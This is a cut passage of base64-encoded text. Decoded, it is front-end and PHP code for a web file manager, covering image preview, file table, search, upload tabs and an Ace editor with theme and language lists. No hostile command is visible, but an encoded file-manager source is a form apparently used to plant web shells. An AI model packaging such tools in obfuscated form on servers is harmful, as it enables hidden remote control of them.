mV2aWV3LWltYWdlXVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGFLZXk6IFwicHJldmlld0ltYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgb3ZlcmxheUlkOiBcInByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXlcIlxuICAgICAgICAgICAgICAgICAgICAgICAgfSwgZSk7XG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBvLm9mZih0KSwgby5vbihcIm1vdXNlb3ZlclwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwicCNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gcyhcIjxwPlwiKS5hdHRyKFwiaWRcIiwgYS5vdmVybGF5SWQpLmNzcyhcInBvc2l0aW9uXCIsIFwiYWJzb2x1dGVcIikuY3NzKFwiZGlzcGxheVwiLCBcIm5vbmVcIikuYXBwZW5kKHMoJzxpbWcgY2xhc3M9XCJjLXByZXZpZXctaW1nXCI+JykuYXR0cihcInNyY1wiLCBzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgYS5jc3MgJiYgby5jc3MoYS5jc3MpLCBzKFwiYm9keVwiKS5hcHBlbmQobyksIG8uY3NzKFwidG9wXCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyBcInB4XCIpLmNzcyhcImxlZnRcIiwgZS5wYWdlWCArIGEueE9mZnNldCArIFwicHhcIikuZmFkZUluKGEuZmFkZUluKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlb3V0XCIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcyhcIiNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlbW92ZVwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwiI1wiICsgYS5vdmVybGF5SWQpLmNzcyhcInRvcFwiLCBlLnBhZ2VZICsgYS55T2Zmc2V0ICsgXCJweFwiKS5jc3MoXCJsZWZ0XCIsIGUucGFnZVggKyBhLnhPZmZzZXQgKyBcInB4XCIpXG4gICAgICAgICAgICAgICAgICAgIH0pLCB0aGlzXG4gICAgICAgICAgICAgICAgfSwgcy5wcmV2aWV3SW1hZ2UoKVxuICAgICAgICAgICAgfShqUXVlcnkpO1xuXG4gICAgICAgICAgICAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICB2YXIgJHRhYmxlID0gJCgnI21haW4tdGFibGUnKSxcbiAgICAgICAgICAgICAgICAgICAgdGFibGVMbmcgPSAkdGFibGUuZmluZCgndGgnKS5sZW5ndGgsXG4gICAgICAgICAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcpID8gWzAsIDQsIDUsIDZdIDogdGFibGVMbmcgPT0gNSA/IFswLCA0XSA6IFszXTtcbiAgICAgICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhZ2luZzogZmFsc2UsXG4gICAgICAgICAgICAgICAgICAgIGluZm86IGZhbHNlLFxuICAgICAgICAgICAgICAgICAgICBvcmRlcjogW10sXG4gICAgICAgICAgICAgICAgICAgIGNvbHVtbkRlZnM6IFt7XG4gICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXRzOiBfdGFyZ2V0cyxcbiAgICAgICAgICAgICAgICAgICAgICAgIG9yZGVyYWJsZTogZmFsc2VcbiAgICAgICAgICAgICAgICAgICAgfV1cbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbigna2V5dXAnLCBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgbWFpblRhYmxlLnNlYXJjaCh0aGlzLnZhbHVlKS5kcmF3KCk7XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKGUua2V5Q29kZSA9PT0gMTMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZWFyY2goKTtcbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnNcIikub24oXCJjbGlja1wiLCAnYScsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICBsZXQgdGFyZ2V0ID0gJCh0aGlzKS5kYXRhKCd0YXJnZXQnKTtcbiAgICAgICAgICAgICAgICAgICAgJChcIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyBhXCIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTtcbiAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygnYWN0aXZlJyk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtdGFicy1jb250YWluZXJcIikuYWRkQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgICAgICAkKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgIDxcL3NjcmlwdD5cblxuICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUgJiYgIUZNX1JFQURPTkxZKTpcbiAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFtcImVkaXRcIl0sIFBBVEhJTkZPX0VYVEVOU0lPTik7XG4gICAgICAgICAgICAkZXh0ID0gICRleHQgPT0gXCJqc1wiID8gXCJqYXZhc2NyaXB0XCIgOiAgJGV4dDtcbiAgICAgICAgPz5cbiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KFwiZWRpdG9yXCIpO1xuICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhdGg6IFwiYWNlXC9tb2RlXC88P3BocCBlY2hvICRleHQ7ID8+XCIsXG4gICAgICAgICAgICAgICAgICAgIGlubGluZTogdHJ1ZVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpO1xuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjZV9jb21tZW5kKGNtZCkge1xuICAgICAgICAgICAgICAgICAgICBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbe1xuICAgICAgICAgICAgICAgICAgICBuYW1lOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpbjogJ0N0cmwtUycsXG4gICAgICAgICAgICAgICAgICAgICAgICBtYWM6ICdDb21tYW5kLVMnXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1dKTtcblxuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHtcbiAgICAgICAgICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKFwic2VsZWN0I2pzLWFjZS1tb2RlXCIpLFxuICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwgPSAkKFwic2VsZWN0I2pzLWFjZS10aGVtZVwiKSxcbiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsID0gJChcInNlbGVjdCNqcy1hY2UtZm9udFNpemVcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICRPcHRpb24gPSBcIlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9IFwiPG9wdGlvbiB2YWx1ZT0nXCIgKyB0eXBlICsgaSArIFwiJz5cIiArIHZhbCArIFwiPFwvb3B0aW9uPlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uO1xuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIF9kYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWNlVGhlbWVcIjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImJyaWdodFwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNocm9tZVwiOiBcIkNocm9tZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjbG91ZHNcIjogXCJDbG91ZHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3JpbXNvbl9lZGl0b3JcIjogXCJDcmltc29uIEVkaXRvclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXduXCI6IFwiRGF3blwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmVhbXdlYXZlclwiOiBcIkRyZWFtd2VhdmVyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImVjbGlwc2VcIjogXCJFY2xpcHNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdpdGh1YlwiOiBcIkdpdEh1YlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJpcGxhc3RpY1wiOiBcIklQbGFzdGljXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNvbGFyaXplZF9saWdodFwiOiBcIlNvbGFyaXplZCBMaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0bWF0ZVwiOiBcIlRleHRNYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRvbW9ycm93XCI6IFwiVG9tb3Jyb3dcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieGNvZGVcIjogXCJYQ29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJrdXJvaXJcIjogXCJLdXJvaXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia2F0emVubWlsY2hcIjogXCJLYXR6ZW5NaWxjaFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzcWxzZXJ2ZXJcIjogXCJTUUwgU2VydmVyXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXJrXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYW1iaWFuY2VcIjogXCJBbWJpYW5jZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjaGFvc1wiOiBcIkNoYW9zXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb3Vkc19taWRuaWdodFwiOiBcIkNsb3VkcyBNaWRuaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmFjdWxhXCI6IFwiRHJhY3VsYVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjb2JhbHRcIjogXCJDb2JhbHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3J1dmJveFwiOiBcIkdydXZib3hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ29iXCI6IFwiR3JlZW4gb24gQmxhY2tcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaWRsZV9maW5nZXJzXCI6IFwiaWRsZSBGaW5nZXJzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImtyX3RoZW1lXCI6IFwia3JUaGVtZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtZXJiaXZvcmVcIjogXCJNZXJiaXZvcmVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVyYml2b3JlX3NvZnRcIjogXCJNZXJiaXZvcmUgU29mdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtb25vX2luZHVzdHJpYWxcIjogXCJNb25vIEluZHVzdHJpYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibW9ub2thaVwiOiBcIk1vbm9rYWlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzdGVsX29uX2RhcmtcIjogXCJQYXN0ZWwgb24gZGFya1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzb2xhcml6ZWRfZGFya1wiOiBcIlNvbGFyaXplZCBEYXJrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRlcm1pbmFsXCI6IFwiVGVybWluYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRcIjogXCJUb21vcnJvdyBOaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9ibHVlXCI6IFwiVG9tb3Jyb3cgTmlnaHQgQmx1ZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9icmlnaHRcIjogXCJUb21vcnJvdyBOaWdodCBCcmlnaHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXNcIjogXCJUb21vcnJvdyBOaWdodCA4MHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidHdpbGlnaHRcIjogXCJUd2lsaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aWJyYW50X2lua1wiOiBcIlZpYnJhbnQgSW5rXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhY2VNb2RlXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhc2NyaXB0XCI6IFwiSmF2YVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFiYXBcIjogXCJBQkFQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWJjXCI6IFwiQUJDXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWN0aW9uc2NyaXB0XCI6IFwiQWN0aW9uU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWRhXCI6IFwiQURBXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYXBhY2hlX2NvbmZcIjogXCJBcGFjaGUgQ29uZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFzY2lpZG9jXCI6IFwiQXNjaWlEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc2xcIjogXCJBU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc3NlbWJseV94ODZcIjogXCJBc3NlbWJseSB4ODZcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhdXRvaG90a2V5XCI6IFwiQXV0b0hvdEtleVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFwZXhcIjogXCJBcGV4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmF0Y2hmaWxlXCI6IFwiQmF0Y2hGaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYnJvXCI6IFwiQnJvXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY19jcHBcIjogXCJDIGFuZCBDKytcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjOXNlYXJjaFwiOiBcIkM5U2VhcmNoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY2lycnVcIjogXCJDaXJydVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb2p1cmVcIjogXCJDbG9qdXJlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY29ib2xcIjogXCJDb2JvbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvZmZlZVwiOiBcIkNvZmZlZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvbGRmdXNpb25cIjogXCJDb2xkRnVzaW9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NoYXJwXCI6IFwiQyNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfZG9jdW1lbnRcIjogXCJDc291bmQgRG9jdW1lbnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfb3JjaGVzdHJhXCI6IFwiQ3NvdW5kXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NvdW5kX3Njb3JlXCI6IFwiQ3NvdW5kIFNjb3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NzXCI6IFwiQ1NTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3VybHlcIjogXCJDdXJseVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRcIjogXCJEXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZGFydFwiOiBcIkRhcnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkaWZmXCI6IFwiRGlmZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRvY2tlcmZpbGVcIjogXCJEb2NrZXJmaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZG90XCI6IFwiRG90XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZHJvb2xzXCI6IFwiRHJvb2xzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZWRpZmFjdFwiOiBcIkVkaWZhY3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlaWZmZWxcIjogXCJFaWZmZWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlanNcIjogXCJFSlNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbGl4aXJcIjogXCJFbGl4aXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbG1cIjogXCJFbG1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlcmxhbmdcIjogXCJFcmxhbmdcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb3J0aFwiOiBcIkZvcnRoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZm9ydHJhblwiOiBcIkZvcnRyYW5cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2hhcnBcIjogXCJGU2hhcnBcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2xcIjogXCJGU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmdGxcIjogXCJGcmVlTWFya2VyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2NvZGVcIjogXCJHY29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdoZXJraW5cIjogXCJHaGVya2luXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2l0aWdub3JlXCI6IFwiR2l0aWdub3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2xzbFwiOiBcIkdsc2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2JzdG9uZXNcIjogXCJHb2JzdG9uZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2xhbmdcIjogXCJHb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdyYXBocWxzY2hlbWFcIjogXCJHcmFwaFFMU2NoZW1hXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3Jvb3Z5XCI6IFwiR3Jvb3Z5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFtbFwiOiBcIkhBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYW5kbGViYXJzXCI6IFwiSGFuZGxlYmFyc1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhhc2tlbGxcIjogXCJIYXNrZWxsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFza2VsbF9jYWJhbFwiOiBcIkhhc2tlbGwgQ2FiYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYXhlXCI6IFwiaGFYZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhqc29uXCI6IFwiSGpzb25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJodG1sXCI6IFwiSFRNTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfZWxpeGlyXCI6IFwiSFRNTCAoRWxpeGlyKVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfcnVieVwiOiBcIkhUTUwgKFJ1YnkpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW5pXCI6IFwiSU5JXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW9cIjogXCJJb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImphY2tcIjogXCJKYWNrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiamFkZVwiOiBcIkphZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhXCI6IFwiSmF2YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImpzb25cIjogXCJKU09OXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNvbmlxXCI6IFwiSlNPTmlxXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNwXCI6IFwiSlNQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNzbVwiOiBcIkpTU01cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqc3hcIjogXCJKU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqdWxpYVwiOiBcIkp1bGlhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia290bGluXCI6IFwiS290bGluXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGF0ZXhcIjogXCJMYVRlWFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxlc3NcIjogXCJMRVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlxdWlkXCI6IFwiTGlxdWlkXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlzcFwiOiBcIkxpc3BcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJsaXZlc2NyaXB0XCI6IFwiTGl2ZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxvZ2lxbFwiOiBcIkxvZ2lRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxzbFwiOiBcIkxTTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YVwiOiBcIkx1YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YXBhZ2VcIjogXCJMdWFQYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibHVjZW5lXCI6IFwiTHVjZW5lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWFrZWZpbGVcIjogXCJNYWtlZmlsZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hcmtkb3duXCI6IFwiTWFya2Rvd25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtYXNrXCI6IFwiTWFza1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hdGxhYlwiOiBcIk1BVExBQlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hemVcIjogXCJNYXplXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVsXCI6IFwiTUVMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWl4YWxcIjogXCJNSVhBTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm11c2hjb2RlXCI6IFwiTVVTSENvZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJteXNxbFwiOiBcIk15U1FMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibml4XCI6IFwiTml4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibnNpc1wiOiBcIk5TSVNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvYmplY3RpdmVjXCI6IFwiT2JqZWN0aXZlLUNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvY2FtbFwiOiBcIk9DYW1sXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzY2FsXCI6IFwiUGFzY2FsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGVybFwiOiBcIlBlcmxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwZXJsNlwiOiBcIlBlcmwgNlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInBnc3FsXCI6IFwicGdTUUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwaHBfbGFyYXZlbF9ibGFkZVwiOiBcIlBIUCAoQmxhZGUgVGVtcGxhdGUpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGhwXCI6IFwiUEhQXCIsXG4gICAgICAgICAgI